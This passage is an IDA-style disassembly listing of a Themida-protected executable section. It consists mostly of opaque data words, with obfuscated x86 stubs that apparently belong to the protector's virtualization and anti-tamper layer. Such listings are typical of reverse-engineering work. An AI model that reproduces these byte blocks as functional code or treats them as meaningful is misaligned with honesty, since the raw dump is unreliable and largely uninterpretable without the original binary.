		dd 89000000h, 0E010A9BDh, 4895007h, 0D6BF0F24h,	75985C6h
		dd 504507E0h, 685A29B7h, 0B354DD11h, 0D1CA56BAh, 24348154h
		dd 3D26B478h, 7E9h, 0BF5DFB00h,	85250FEFh, 2F01B5FFh, 6A07E0h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 41107FC3h, 4605CAD3h, 0E9951262h, 0Eh, 0ED71A0D7h, 906C25C4h
		dd 5E077E87h, 858D949Bh, 7E039F8h, 5BDE80FCh, 6AD0FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 9F8395C3h, 9589FA80h, 7E03149h, 28FD8589h, 0B70F07E0h
		dd 816658D9h, 832C79F3h, 0E04EBABDh, 840F0007h,	4Dh, 0FE9h
		dd 67CBE100h, 0E578FB3Fh, 0EBF3652h, 0F43ECA62h, 5DB5FFh
		dd 8E907E0h, 0D6000000h, 942C31A9h, 0FF0B97A9h,	0E028FD95h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 74CB6E0h, 0F8830Ch, 11E850Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0B178E7C3h, 3995BA3Eh, 0B58933BBh, 7E00769h,	105BD83h
		dd 0F0007E0h, 4C84h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0A22C7748h, 0BD893198h
		dd 7E026A9h, 105B5FFh, 0EE8007E0h, 1B88Eh, 95090000h, 7E014C9h
		dd 2AAE9h, 870F00h, 89000000h, 0E01E39BDh, 5DB5FF07h, 3307E000h
		dd 0E033F995h, 32D0BB07h, 0B5FF612Ah, 7E0005Dh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0CCC35747h, 0E854725Eh
		dd 0Dh,	18F9AE72h, 0C6D21F5Ch, 1A81BEE0h, 188D0F3Fh, 0E8000000h
		dd 12h,	0E130731Ah, 4F8345B1h, 0CFB73981h, 0A1A4F6C3h
		dd 5A5BD874h, 28FDB5FFh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0E9B978C3h, 20Fh, 6880Fh
		dd 8D890000h, 7E022CDh,	0D78B505Fh, 71BD835Ah, 7E02Fh
		dd 109850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0C09768C3h, 9958B2Dh, 0C607E002h
		dd 0E0075985h, 68F94D07h, 0ED43F66Ah, 840F5250h, 0Bh, 6E9h
		dd 2FEC8000h, 0F677A2Ch, 13BF6031h, 0F5FA4F3h, 89h, 585A6100h
		dd 0C2243481h, 6A497680h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 7E6CC357h, 4457EB9Eh
		dd 26B98589h, 666007E0h, 182A1BEh, 0E02E519Dh, 0B5FF6107h
		dd 7E03085h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0D6C35343h, 7740A3EDh, 0C0167EB4h, 18C381F2h, 8931A41Eh
		dd 0E01AB1BDh, 0F8858D07h, 8B07E039h, 119523DEh, 0FF07E024h
		dd 0E9D08BD0h, 0Dh, 0B2ACE6C5h,	66F06F71h, 256B92F3h, 718589E9h
		dd 0E807E02Fh, 0Ah, 0B70EC33h, 202FF0AEh, 8B504897h, 0E0057995h
		dd 0B85A5A07h, 0
		dd 8890Fh, 850F0000h, 2, 0BD896160h, 7E04E63h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h
		db 18h
byte_554345	db 3 dup(0)		; DATA XREF: ___:00444A3Co
		dd 60C35646h, 70B66C63h, 0C00BF0B7h, 36840Fh, 0B9600000h
		dd 0E8E4D30h, 19299D09h, 0E96107E0h, 93h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 94C35545h, 0C17DBC7h
		dd 0DF8BF80Fh, 28FDB5FFh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 47BEAEC3h, 7EBA66E7h
		dd 0DFB70F78h, 1F5958Bh, 858D07E0h, 7E2AE58h, 1B09958Bh
		dd 669007E0h, 8B50D88Bh, 6A90D7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0B621F8C3h, 0D2C30B13h
		dd 159D8BA2h, 5007E000h, 84BD8D56h, 8D07E056h, 0E07C688Dh
		dd 23BCB807h, 0CF2B7483h, 0C8D00730h, 0F8754947h, 0BD83585Eh
		dd 7E00105h, 8B067400h,	0E005D58Dh, 0B8C93307h,	0
		dd 840FC00Bh, 0A8h, 3441BD83h, 740007E0h, 0C195FF06h, 0B807E018h
		dd 0
		dd 975C00Bh, 4E6BBD83h,	740107E0h, 6BBD8309h, 207E04Eh
		dd 0B58B0E75h, 7E04E63h, 0AE58858Dh, 0D0FF07E2h, 2269BD83h
		dd 740007E0h, 0B195FF06h, 8D07E033h, 0E042C085h, 83D0FF07h
		dd 0E033EDBDh, 2F750207h, 3099A58Bh, 858B07E0h,	7E00105h
		dd 0C7240489h, 0E00F8D85h, 107h, 67B58B00h, 8B07E04Eh
		dd 0E00671ADh, 1B807h, 0CC20000h, 0C700EB00h, 0E00F8D85h
		dd 107h, 99A58B00h, 8B07E030h, 0E01B0DB5h, 71AD8B07h, 3307E006h
		dd 0CC2C0h, 2269BD83h, 740007E0h, 0B1BD830Fh, 7E033h, 95FF0674h
		dd 7E033B1h, 4E63B58Bh,	0FC307E0h, 688h, 45958B00h, 2907E020h
		dd 0E01B1985h, 29B58907h, 0BA07E021h, 0
		db 80h,	0DFh, 6Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_554533
; ---------------------------------------------------------------------------


loc_554531:				; CODE XREF: Themida_:00554536j
		inc	eax
		inc	edi


loc_554533:				; CODE XREF: Themida_:0055452Fj
		cmp	byte ptr [edi],	0
		jnz	short loc_554531
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_554562
; ---------------------------------------------------------------------------


loc_55453F:				; CODE XREF: Themida_:00554564j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_554557
; ---------------------------------------------------------------------------


loc_554554:				; CODE XREF: Themida_:0055455Aj
		mul	ebx
		dec	esi


loc_554557:				; CODE XREF: Themida_:00554552j
		cmp	esi, 0
		ja	short loc_554554
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_554562:				; CODE XREF: Themida_:0055453Dj
		or	eax, eax
		jnz	short loc_55453F
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dd 6AE9B2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 0A35C5CC3h, 76C22E1h, 219589ECh, 0BA07E033h
		dd 61793103h, 8DE9C18Bh, 225h, 0A77FFDF0h, 45005CEEh, 28005D09h
		dd 2800000Ah, 5025B00h,	6C0A2801h, 60012FFh, 2000002h
		dd 1000000h, 0
		dd 0AC000000h, 0F874C7h, 4 dup(0)
		dd 13000000h, 63005566h, 0EB005603h, 3B005563h,	420055B7h
		dd 97005577h, 0A400558Eh, 93005560h, 0ED0055BDh, 8B0055BFh
		dd 55F1h, 0C10055FFh, 6005579h,	0B20055EAh, 930055E6h
		dd 8C0055BFh, 0C300558Fh, 360055DBh, 0D10055E4h, 0CF005578h
		dd 0DA0055F3h, 9D005597h, 7500556Ch, 6B005578h,	330055A5h
		dd 95005589h, 0C3005601h, 300055A0h, 7300554Dh,	73005596h
		dd 0FC00556Ah, 0FB00556Ch, 33005589h, 21005577h, 26005567h
		dd 210055FEh, 0C20055EAh, 190055EEh, 70005597h,	69005599h
		dd 0D50055F9h, 440055C3h, 3800554Eh, 0F7005587h, 900558Eh
		dd 0B70055A8h, 0C200559Bh, 82005549h, 9005579h,	2000557Bh
		dd 0B80055F4h, 0F00055B2h, 50055D4h, 0E800560Bh, 0BB0055B5h
		dd 20055ACh, 0BE0055DDh, 7900556Ch, 0CA00555Ah,	520055AEh
		dd 0DC00557Eh, 3F0055B9h, 0D20055F2h, 8F0055B1h, 5F005609h
		dd 15005587h, 6A005559h, 0C005592h, 0D10055A3h,	0EF005580h
		dd 600055B5h, 0E70055C6h, 7B00558Bh, 200055A4h,	38005578h
		dd 0DD0055FBh, 8F005553h, 20055FBh, 0B900560Dh,	86005552h
		dd 8B0055DDh, 0A00055B5h, 0A50055FBh, 1F005601h, 0F00055A2h
		dd 690055AEh, 0DA0055B5h, 0C5005548h, 8700560Bh, 570055FCh
		dd 0DB0055D7h, 0D20055E0h, 820055D7h, 2D005558h, 3E0055D4h
		dd 0CD005606h, 550055C4h, 6100558Dh, 9B005560h,	0BF005553h
		dd 0EA005589h, 0FB0055E6h, 3C0055ABh, 9A0055E3h, 3C0055FEh
		dd 0A000556Bh, 10055DFh, 0D30055B5h, 510055DDh,	830055B6h
		dd 0B10055A2h, 0FA005580h, 970055C4h, 0EA0055DFh, 0FA0055F6h
		dd 5E0055CDh, 2005578h,	0F900556Ah, 830055A0h, 570055AAh
		dd 100055CBh, 780055B8h, 620055B5h, 320055F6h, 2A005556h
		dd 0B400557Dh, 520055CEh, 0EB005578h, 0E500557Fh, 0E700555Ch
		dd 470055A7h, 59005596h, 3400554Bh, 0E50055ECh,	8500556Ah
		dd 0CF00555Ah, 0DE005549h, 3A0055B8h, 70055CEh,	0B4005566h
		dd 0B200555Dh, 0A00055ECh, 0F400555Eh, 5568h, 2F00560Ch
		dd 8D0055C4h, 2E00555Bh, 0E40055AAh, 460055D1h,	0D700556Bh
		dd 8900557Bh, 0C4005586h, 8E0055F5h, 8D005605h,	9A00560Ah
		dd 0A10055C4h, 0E00558Dh, 2600559Bh, 8B005590h,	26005602h
		dd 0D6005571h, 84005591h, 0A60055ACh, 2F0055BAh, 0D000555Ah
		dd 0A2005583h, 0C7005577h
		db 7Bh,	55h, 0
; ---------------------------------------------------------------------------


loc_554887:				; CODE XREF: Themida_:0058411Fj
					; Themida_:00590093j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7E080E3h
		mov	eax, edi
		add	edi, 7E07DFBh
		cmp	eax, [edi+2Ch]
		jnz	short loc_5548A5
		jmp	short loc_5548B8
; ---------------------------------------------------------------------------


loc_5548A5:				; CODE XREF: Themida_:005548A1j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5548B4
; ---------------------------------------------------------------------------


loc_5548AF:				; CODE XREF: Themida_:005548B6j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5548B4:				; CODE XREF: Themida_:005548ADj
		or	ecx, ecx
		jnz	short loc_5548AF


loc_5548B8:				; CODE XREF: Themida_:005548A3j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_5548C5:				; CODE XREF: Themida_:005548CCj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5548C5


loc_5548CE:				; CODE XREF: Themida_:loc_556794j
					; Themida_:005568AFj ...
		lodsb
		push	bx
		mov	bl, 0D3h
		add	al, bl
		jmp	loc_5592C2
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 9C2414D2h, 0FFFFE5E9h, 0BF575CFFh, 4, 6DE9FE01h
		dd 5B000049h, 348BF001h, 4DBBE924h, 875B0000h, 248B2434h
		dd 48F5424h, 4E48E924h,	0C6290000h, 81C60158h, 6C49AEC6h
		dd 1CC68145h, 5876B049h, 0E904C683h, 6E7Ch, 4C481h, 97E90000h
		dd 89FFFFFFh, 0ECE92414h, 5A00000Ch, 8B24048Fh,	12E92424h
		dd 870000ACh, 0E95C2414h, 613Dh
; ---------------------------------------------------------------------------


loc_554954:				; CODE XREF: Themida_:005606BEj
		mov	edi, 4B956385h
		sub	[esp+4], edi
		mov	edi, [esp]
		push	ebx
		jmp	loc_557DF9
; ---------------------------------------------------------------------------


loc_554966:				; CODE XREF: Themida_:00556748j
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_55C993
; ---------------------------------------------------------------------------
		db 31h,	1Ch, 24h
		dd 8B241C33h, 4212424h,	4BE99C24h, 66FFFFFFh, 0B0505251h
		dd 58C688E5h, 80D3E9h, 0E9D90100h, 0D88h, 632DC801h, 56BF57Dh
		dd 69C46ED4h, 9AEB8159h, 52307E65h, 0FB0F9EBAh,	765CE97Bh
		dd 0E9500000h, 5BF0h, 2116E951h, 6B680000h, 89000053h
		dd 0FFE92414h, 66FFFFFEh, 5724048Bh, 0E952E789h, 4CB9h
		dd 68DBF7h, 29000000h, 565B241Ch, 0EF51DDBEh, 9DCE8125h
		dd 812EAD20h, 9F597CCEh, 8B6DE90Ah, 89660000h, 0CFB22414h
		dd 34A9E9h, 76EB8100h, 5A6A873Ah, 4C381h, 1C870000h, 76E95C24h
		dd 10000C0h, 0CEE92404h
		db 0A5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554A27:				; CODE XREF: Themida_:0055AE79j
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_560328
; ---------------------------------------------------------------------------
aRws		db 'RWéÔ',27h,0
		dd 81FB0100h, 0D7452DC3h, 0C2C3815Eh, 0FF6C4066h, 815F2434h
		dd 4C4h, 2C38300h, 22B6E9h, 0C86BA00h, 0F281415Bh, 79176EC1h
		dd 1932BE56h, 9DE9168Bh, 0BB000096h, 5F657FD6h,	74ECE9h
		dd 0BDE95C00h, 8700001Dh, 0D35C2404h, 0E99C242Ch, 0FFFFFE2Eh
		dd 89243C89h, 6AFDE9E7h, 2D590000h, 5A937BC8h, 917BE9h
		dd 56106800h, 3C890000h, 0C6895624h, 0E95EF789h, 882Dh
		dd 9C240430h, 0FFFDFDE9h, 0C8B66FFh, 0A5C0E924h, 565B0000h
		dd 268h, 0F0015E00h, 8324348Bh,	48704C4h, 24248B24h, 0C5885153h
		dd 8859EB88h, 241C8B1Ah, 5086853h, 24890000h, 24048324h
		dd 0E9565B04h, 2650h, 922CD800h, 50241C8Bh, 0BB535854h
		dd 4, 0E95BD801h, 709Bh, 5258E588h, 0D02857B2h,	68E8005Ah
		dd 7A87h, 0B6241489h, 9DB151CAh, 7CE9CE30h, 0A5h, 241C8BD9h
		dd 4C481h, 0C8000000h, 6F47E9h,	3B566800h, 0A8E90000h
		dd 0E90000A9h, 0FFFFFD66h, 8F04C483h, 248B2404h, 66E1F624h
		dd 81CCB60Fh, 4ECh, 24048900h, 7A2BE954h, 1680000h, 0E9000000h
		dd 86FCh, 295EF729h, 0D8015FF8h, 0A6762605h, 4576E95Dh
		dd 0DF010000h, 3A41C781h, 0E95B4F0Ah, 765Eh, 8B24048Fh
		dd 89662424h, 0FE92404h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554BBF:				; CODE XREF: Themida_:0055D13Ej
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55D6DE
; ---------------------------------------------------------------------------
		dw 1489h
aTsA		db '$Té!a',0
		dw 8100h
		dd 3602ABF7h, 5FFD01E4h, 0BE565052h, 793D301Ah,	2356EE81h
		dd 0BA527852h, 4A2359B5h, 770AE9h
		db 0
; ---------------------------------------------------------------------------


loc_554BF5:				; CODE XREF: Themida_:0055ED3Aj
		mov	ebp, 0DE71840h
		sub	ebp, 3B9411B7h
		or	ebp, 2976111Bh
		and	ebp, 746B730Ch
		and	ebp, 6E06487h
		sub	ebp, 7DC26244h
		add	ebp, 0B2533B35h
		add	esi, ebp
		pop	ebp
		not	esi
		sub	esi, 7375762Eh
		not	esi
		or	esi, 36D869DEh
		sub	esi, 24521F00h
		add	edi, esi
		pop	esi
		xor	ecx, edi
		pop	edi
		push	928h
		mov	[esp], esi
		mov	esi, 5FEE2EC4h
		sub	esi, 5FEE2EC3h
		push	esi
		pop	eax
		mov	esi, [esp]
		push	24BFh
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55ABF0
; ---------------------------------------------------------------------------
aSH9		db 'S³µ(Þ[h9',0Dh,0
		dw 8900h
		dd 57E92404h, 830000A8h, 83E904ECh
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554C7F:				; CODE XREF: Themida_:0055C13Bj
		and	eax, ecx
		jmp	loc_55B842
; ---------------------------------------------------------------------------
		dw 8CB3h
		dd 6606C380h, 2891B450h, 8AD8E9E3h, 48F0000h, 24248B24h
		dd 9C2424D3h, 0FFFC29E9h, 0B65266FFh, 66F0283Ch, 4F8005Ah
		dd 241C8B3Ch, 11C9E9h, 0FFFFBF00h, 23E9FFFFh, 57000032h
		dd 6F424CBFh, 0BDB8BE31h, 0FE01CE90h, 5EF1015Fh, 0ADA0E9h
		dd 59C82900h, 4E9815Fh,	116C337h, 4C181C1h, 5816C337h
		dd 92CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_554CF1:				; CODE XREF: Themida_:0055900Ej
		xchg	edi, [esp]
		jmp	loc_55CDF3
; ---------------------------------------------------------------------------
		db 4Eh,	81h, 0F6h
		dd 4A244113h, 815EF201h, 4C2h, 88F8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554D0E:				; CODE XREF: Themida_:0055D902j
		mov	esi, esp
		jmp	loc_556FDA
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 4B8h, 6EF8100h, 293C356Fh, 6C781C7h,	0E93C356Fh, 3CA9h
		dd 240C8B66h, 81E28952h, 4ECh, 6926E900h, 1C890000h, 0E0895024h
		dd 405h, 4E88300h, 5C240487h, 0B5240C89h, 73B050BBh, 0C730E2B7h
		dd 59EF2858h, 0FFFF3CE9h, 241431FFh, 5C241433h,	0E9505153h
		dd 78F0h, 83240C8Bh, 1C8704C4h,	0E9505C24h, 3AAFh, 17074CBDh
		dd 53DDF756h, 0EF48BFBBh, 0AEB8163h, 0C10BDC23h, 32E907E3h
		dd 0E90000BAh, 0FFFFFB26h, 4A56EE81h, 0BA526CE7h, 5D1171EAh
		dd 10ECA81h, 3AE97CAFh,	1000038h, 240C8BCEh, 0E9E18951h
		dd 2FD3h, 0F0207781h, 5306C077h, 0BB78E9h, 4C28100h, 81000000h
		dd 4C2h, 0B677E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554DEA:				; CODE XREF: Themida_:00557969j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 545B27FAh
		neg	ecx
		sub	ecx, 471B5B26h
		shr	ecx, 2
		add	ecx, 0E6DDA0CCh
		add	edi, ecx
		jmp	loc_557FFA
; ---------------------------------------------------------------------------
		dd 182DD829h, 0E91FD14Ch, 35C4h
; ---------------------------------------------------------------------------


loc_554E20:				; CODE XREF: Themida_:00559E22j
		pop	eax
		not	bl
		jmp	loc_55B6A8
; ---------------------------------------------------------------------------
		dd 79B8055Dh, 0F3352E03h, 0E92E44B9h, 26EBh, 4C3815Bh
		dd 0E9000000h, 983Ah
		db 8Fh
byte_554E45	db 2, 0E9h, 0F9h	; DATA XREF: ___:00444BA4o
					; ___:00444BACo ...
		dd 8F000031h, 4832404h,	56590424h, 0F946DDBEh, 2BF6812Fh
		dd 811E9E5Ch, 802F64C6h, 0FF3EE93Bh, 0C481FFFFh, 4, 4EC81h
		dd 34890000h, 348B5424h, 4C48324h, 4C681h, 0B6680000h
		dd 0E9000067h, 7800h, 758A68h, 242C8900h, 242C8B54h, 8104C483h
		dd 4C5h, 0E1895100h, 8AE8E9h, 74FF5300h, 39E90424h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554EB7:				; CODE XREF: Themida_:005595E4j
		add	edx, 3F1B1FD8h
		add	edx, 3EF486A4h
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ecx, 0FFFFFFFFh
		shr	ecx, 1
		shl	ecx, 7
		add	ecx, 0B367E004h
		add	ebp, 57DD10F6h
		add	ebp, ecx
		sub	ebp, 57DD10F6h
		pop	ecx
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_55EA8B
; ---------------------------------------------------------------------------
		dd 575EF729h, 42474FFh,	24048F5Fh, 41B6E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554F0E:				; CODE XREF: Themida_:0055D769j
		xchg	ebp, [esp]
		jmp	loc_55E64E
; ---------------------------------------------------------------------------
aFyfyfrsD	db 'fYfYfRéݤ',0
		db 0
; ---------------------------------------------------------------------------


loc_554F21:				; CODE XREF: Themida_:0055CE52j
		add	esi, 1C3443B2h
		sub	ecx, esi
		pop	esi
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_55B0F1
		push	dword ptr [edi+28h]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_559F58
; ---------------------------------------------------------------------------
aSsm		db 'SéŒ"',0
		align 4
		dd 0E958C101h, 6CEEh
; ---------------------------------------------------------------------------


loc_554F54:				; CODE XREF: Themida_:00556602j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_560C45
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 3
		dd 0E9C1D1F7h, 0BC08E908h, 15F0000h, 34875BDEh,	9665C24h
		dd 0E99C2404h, 0FFFFF94Ah
; ---------------------------------------------------------------------------


loc_554F84:				; CODE XREF: Themida_:0055B440j
		xchg	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		jmp	loc_55D8EE
; ---------------------------------------------------------------------------
		db 5Ch,	83h, 0ECh
		dd 24148904h, 2BAh, 5AD10100h, 0B89CE9h, 0D1F38000h, 881DC380h
		dd 0B3535BDEh, 25FCE9BFh, 0E0890000h, 4BB53h, 0FE680000h
		dd 89000064h, 3CBF243Ch, 817A777Ch, 561B92EFh, 20C78177h
		dd 0F7005904h, 44F5E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554FF2:				; CODE XREF: Themida_:00559789j
		xor	edx, 46D8F335h
		jmp	loc_557F46
; ---------------------------------------------------------------------------
aYhJ		db 'Yh{J',0
		dw 8900h
		dd 0D3B1240Ch, 27B25250h, 68E9CBB0h, 5000046h, 1932254Eh
		dd 12E95Fh, 0C6810000h,	4, 5C243487h, 0E9240487h, 0B02Fh
		dd 3302C083h, 4312404h,	24043324h, 6624248Bh, 9C2424D3h
		dd 0FFFD5AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555049:				; CODE XREF: Themida_:0055D170j
		mov	[esp], edi
		mov	edi, 0E2176541h
		jmp	loc_5586A0
; ---------------------------------------------------------------------------


loc_555056:				; CODE XREF: Themida_:0055F612j
		sub	ebp, 71C44992h
		pop	eax
		add	ebp, eax
		push	ecx
		mov	ecx, 79343764h
		neg	ecx
		and	ecx, 14DD3B75h
		or	ecx, offset byte_5B15DB
		inc	ecx
		sub	ecx, 3C135CACh
		sub	ecx, 49CF7E02h
		add	ebp, ecx
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	ecx, 0Bh
		push	ebx
		xor	dword ptr [esp], 41101A00h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55C4E4
; ---------------------------------------------------------------------------


loc_5550B2:				; CODE XREF: Themida_:00556DE3j
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_55ED89
; ---------------------------------------------------------------------------
		dd 36FCE781h, 0F7816AE7h, 17BC937Bh, 895FF931h,	160559CDh
		dd 2D58ED01h, 4A6638F2h, 0F205E829h, 0E94A6638h, 22Fh
		dd 82F7814Fh, 527881FDh, 813D5EBAh, 5AD3011Dh, 0EB81FB01h
		dd 1D813D5Eh, 5BD8015Fh, 0F314D905h, 2DD82927h,	27F314D9h
		dd 3B52E957h, 0C7810000h, 7BDE0CB7h, 7682EF81h,	0FB29211Eh
		dd 81243C8Bh, 4C4h, 81C32900h, 7F18B5C3h, 24048B5Eh, 8D51E9h
		db 0
; ---------------------------------------------------------------------------


loc_55513D:				; CODE XREF: Themida_:0055A2F6j
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_556D64
; ---------------------------------------------------------------------------


loc_55514E:				; CODE XREF: Themida_:0055A678j
		push	dword ptr [esp]
		jmp	loc_5600F4
; ---------------------------------------------------------------------------


loc_555156:				; CODE XREF: Themida_:00557578j
		not	esi
		jmp	loc_55BA15
; ---------------------------------------------------------------------------
		db 5, 6, 59h
		dd 50E93A2Ch, 87000018h, 0E95C243Ch, 3FDDh, 0DC42F568h
		dd 0F6815E1Bh, 1BDC42F7h, 815EF789h, 0A61E9DC3h, 0E9FB292Ch
		dd 367Dh, 0C64E5B68h, 0EB815B33h, 0C75EE51Fh, 89DF8957h
		dd 15B5FF9h, 15D59C8h, 3ADB05D8h, 0A7687D8Dh, 0E9000026h
		dd 8639h, 0D1F7D9F7h, 798DE9h, 2434FF00h, 4C4835Ah, 68565053h
		dd 4781750h, 3C41E9h, 0FE00B000h, 0E91204C0h, 990h, 0C181E189h
		dd 4, 8704C183h, 248B240Ch, 4C48124h, 0E9000000h, 801h
		dd 24448166h, 667CE004h, 4244C29h, 38DCE9h, 48F5D00h, 9B12E924h
		dd 0CFF0000h, 0B3E99C24h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55521B:				; CODE XREF: Themida_:005605CBj
		xor	edx, 0BF06C6B8h
		add	ecx, 465A605Eh
		add	ecx, edx
		sub	ecx, 465A605Eh
		jmp	loc_55921F
; ---------------------------------------------------------------------------
		dd 0F381DBF7h, 1935420Ah, 3EBEB81h, 8956454Eh, 62E9E9DEh
		dd 34FF0000h, 0C4815B24h, 4, 0E92DE980h, 1339h,	0E9E78957h
		dd 0A98Ah, 4C481h, 0E8300000h, 56C33059h, 1881BF57h, 0EF812B20h
		dd 0CCE79E9Ch, 9B7CE950h, 502C0000h, 24148B66h,	2C481h
		dd 13680000h, 89000048h, 0ABB5240Ch, 5304E5C0h,	536621B7h
		dd 1245CF6h, 0B4505B66h, 58E70011h, 9DC2E9h, 24248B00h
		dd 5FF9E9h, 24248B00h, 0FFF60DE9h, 63C381FFh, 6676641Ah
		dd 5224148Bh, 24148B54h, 0E904C483h, 47F6h, 8959CB29h
		dd 42C8E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5552E2:				; CODE XREF: Themida_:0055E0D6j
		push	esi
		mov	esi, 0
		sub	esi, ecx
		xor	ecx, esi
		xor	esi, ecx
		xor	ecx, esi
		pop	esi
		xor	ecx, 35970F5Ah
		xor	ecx, 5A064A2Ch
		xor	ebp, ecx
		pop	ecx
		xor	ebp, 32BF448Dh
		shr	ebp, 2
		add	ebp, 78BA1F29h
		add	ebx, ebp
		pop	ebp
		jmp	loc_55C2B9
; ---------------------------------------------------------------------------
aVsw		db 'Véw',0Bh,0
		db 0
; ---------------------------------------------------------------------------


loc_55531D:				; CODE XREF: Themida_:0055D858j
		push	2E14h
		mov	[esp], edi
		jmp	loc_55E5BA
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 0E6E90424h, 3Eh, 516658C3h, 0CB3091B1h, 68E4E9h, 148B5800h
		db 24h
aVsL		db 'VéÚl',0             ; DATA XREF: ___:00444D6Co
		dw 3100h
		dd 77095AD6h, 24348B1Ch, 0E904C483h, 0FFFFF572h, 241AE952h
		dd 0BB530000h, 4, 91E9DF01h, 810000AEh,	0E06578EFh, 5FFE0162h
		dd 6DE68h, 240C8900h, 7A4AE950h, 0F0010000h, 534BE9h, 4C28100h
		dd 83000000h, 0A5E904C2h, 0FF00002Bh, 34FF2434h, 1BE95924h
		dd 80000037h, 0F780FFC7h, 23C68045h, 0EE80FE28h, 27E95B23h
		dd 8B000010h, 0C4832404h, 5AD32904h, 0B60F66h, 0DD768h
		dd 242C8900h, 0EC81E589h, 4, 22BBE9h, 48B6600h,	4EC8124h
		dd 0E9000000h, 0B00h, 2916E95Fh, 0F74E0000h, 5BE768D6h
		dd 7AE90000h, 8900005Eh, 0D9B42404h, 881AF480h,	3E6AE9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55540E:				; CODE XREF: Themida_:0055A624j
		mov	[esp], ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 47760ADAh
		or	ecx, 50B97573h
		add	ecx, 500663E0h
		add	ecx, 57FA1C29h
		add	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_55EF0B
; ---------------------------------------------------------------------------


loc_555449:				; CODE XREF: Themida_:0055D37Fj
		sub	edx, 3D1F0Dh
		sub	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	3261h
		mov	[esp], ebx
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
